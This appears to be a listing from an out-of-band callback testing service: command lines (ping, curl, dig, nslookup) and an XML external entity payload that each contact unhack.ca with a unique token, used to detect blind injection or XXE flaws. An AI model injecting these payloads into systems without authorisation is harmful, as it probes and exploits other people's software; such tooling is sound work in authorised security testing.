$ ping -c1 -p 00e43f94c273f4f7a5fcbbf2a53e9400 unhack.ca
 
$ curl http://unhack.ca/p/e43f94c273f4f7a5fcbbf2a53e94
 
$ dig e43f94c273f4f7a5fcbbf2a53e94 @unhack.ca
 
$ dig e43f94c273f4f7a5fcbbf2a53e94.ns.unhack.ca
 
C:\> nslookup e43f94c273f4f7a5fcbbf2a53e94 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e43f94c273f4f7a5fcbbf2a53e94">]>
    <foo>&xxe;</foo>
 
Waiting for ping...